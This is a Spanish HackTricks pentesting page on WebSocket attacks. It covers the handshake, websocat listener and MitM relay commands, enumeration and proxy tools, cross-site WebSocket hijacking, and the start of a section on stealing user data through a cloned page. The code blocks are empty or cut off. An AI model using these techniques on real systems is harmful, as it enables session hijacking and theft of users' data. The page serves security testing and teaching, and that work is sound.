# Ataques a WebSockets
Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)! * Obt茅n el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
## 驴Qu茅 son los WebSockets? Las conexiones de WebSocket se establecen a trav茅s de un apret贸n de manos **HTTP** inicial y est谩n dise帽adas para ser **de larga duraci贸n**, permitiendo el intercambio bidireccional de mensajes en cualquier momento sin necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicaci贸n iniciada por el servidor**, como flujos de datos financieros en vivo. ### Establecimiento de Conexiones de WebSocket Una explicaci贸n detallada sobre el establecimiento de conexiones de WebSocket se puede acceder [**aqu铆**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones de WebSocket suelen iniciarse a trav茅s de JavaScript en el lado del cliente, como se muestra a continuaci贸n: ```javascript var ws = new WebSocket("wss://normal-website.com/ws"); ``` El protocolo `wss` indica una conexi贸n WebSocket segura con **TLS**, mientras que `ws` indica una conexi贸n **no segura**. Durante el establecimiento de la conexi贸n, se realiza un handshake entre el navegador y el servidor a trav茅s de HTTP. El proceso de handshake implica que el navegador env铆e una solicitud y el servidor responda, como se ilustra en los siguientes ejemplos: El navegador env铆a una solicitud de handshake: ```javascript GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket ``` Respuesta de saludo del servidor: ```javascript HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= ``` La conexi贸n permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida. **Puntos clave del Handshake de WebSocket:** - Los encabezados `Connection` y `Upgrade` se帽alan el inicio de un Handshake de WebSocket. - El encabezado `Sec-WebSocket-Version` indica la versi贸n deseada del protocolo WebSocket, generalmente `13`. - Se env铆a un valor aleatorio codificado en Base64 en el encabezado `Sec-WebSocket-Key`, asegurando que cada Handshake sea 煤nico, lo que ayuda a prevenir problemas con proxies de cach茅. Este valor no es para autenticaci贸n, sino para confirmar que la respuesta no es generada por un servidor o cach茅 mal configurados. - El encabezado `Sec-WebSocket-Accept` en la respuesta del servidor es un hash del `Sec-WebSocket-Key`, verificando la intenci贸n del servidor de abrir una conexi贸n WebSocket. Estas caracter铆sticas aseguran que el proceso de Handshake sea seguro y confiable, allanando el camino para una comunicaci贸n en tiempo real eficiente. ### Consola de Linux Puedes usar `websocat` para establecer una conexi贸n cruda con un websocket. ```bash websocat --insecure wss://10.10.10.10:8000 -v ``` O para crear un servidor de websocat: ```bash websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` ### Conexiones websocket MitM Si descubres que los clientes est谩n conectados a un **websocket HTTP** desde tu red local actual, podr铆as intentar un [Ataque de Suplantaci贸n de ARP](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\ Una vez que el cliente est茅 intentando conectarse a ti, puedes usar: ```bash websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` ### Enumeraci贸n de Websockets Puedes utilizar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar autom谩ticamente** **vulnerabilidades** conocidas en websockets. ### Herramientas de depuraci贸n de Websockets * **Burp Suite** admite la comunicaci贸n MitM de websockets de una manera muy similar a como lo hace para la comunicaci贸n HTTP regular. * La extensi贸n de **Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) te permitir谩 gestionar de manera m谩s efectiva las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de intercepci贸n**, utilizar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater**. * [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor. * [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websocket** dise帽ado espec铆ficamente para pruebas de penetraci贸n. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco f谩cil de usar para **automatizar** esta comunicaci贸n. * [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs utilizando **websockets**. * [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs utilizando **websockets**. ## Laboratorio de Websocket En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un c贸digo para lanzar una web utilizando websockets y en [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicaci贸n. ## Secuestro de Websocket entre sitios (CSWSH) El **secuestro de Websocket entre sitios**, tambi茅n conocido como **secuestro de Websocket entre or铆genes cruzados**, se identifica como un caso espec铆fico de **[Falsificaci贸n de petici贸n en sitios cruzados (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de Websocket. Esta vulnerabilidad surge cuando los handshakes de Websocket se autentican 煤nicamente a trav茅s de **cookies HTTP** sin **tokens CSRF** u otras medidas de seguridad similares. Los atacantes pueden explotar esto al alojar una **p谩gina web maliciosa** que inicia una conexi贸n de Websocket entre sitios a una aplicaci贸n vulnerable. En consecuencia, esta conexi贸n se trata como parte de la sesi贸n del usuario con la aplicaci贸n, explotando la falta de protecci贸n CSRF en el mecanismo de manejo de sesiones. ### Ataque Simple Ten en cuenta que al **establecer** una conexi贸n **websocket**, la **cookie** se **env铆a** al servidor. El **servidor** puede estar utiliz谩ndola para **relacionar** a cada **usuario espec铆fico** con su **sesi贸n de websocket basada en la cookie enviada**. Entonces, si por **ejemplo** el **servidor websocket** **devuelve el historial de la conversaci贸n** de un usuario si se env铆a un mensaje con "**READY"**, entonces un **simple XSS** al establecer la conexi贸n (la **cookie** se **enviar谩 autom谩ticamente** para autorizar al usuario v铆ctima) **enviando** "**READY**" podr谩 **recuperar** el historial de la **conversaci贸n**. ```markup ``` ### Cross Origin + Cookie with a different subdomain En esta publicaci贸n de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logr贸 **ejecutar JavaScript arbitrario en un subdominio** del dominio donde se estaba produciendo la comunicaci贸n del socket web. Debido a que era un **subdominio**, la **cookie** se estaba **enviando**, y debido a que el **Websocket no verificaba el Origen correctamente**, era posible comunicarse con 茅l y **robar tokens de 茅l**. ### Robando datos del usuario Copia la aplicaci贸n web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde se produce la comunicaci贸n del websocket, agrega este c贸digo: ```javascript //This is the script tag to load the websocket hooker //These are the functions that are gonig to be executed before a message //is sent by the client or received from the server //These code must be between some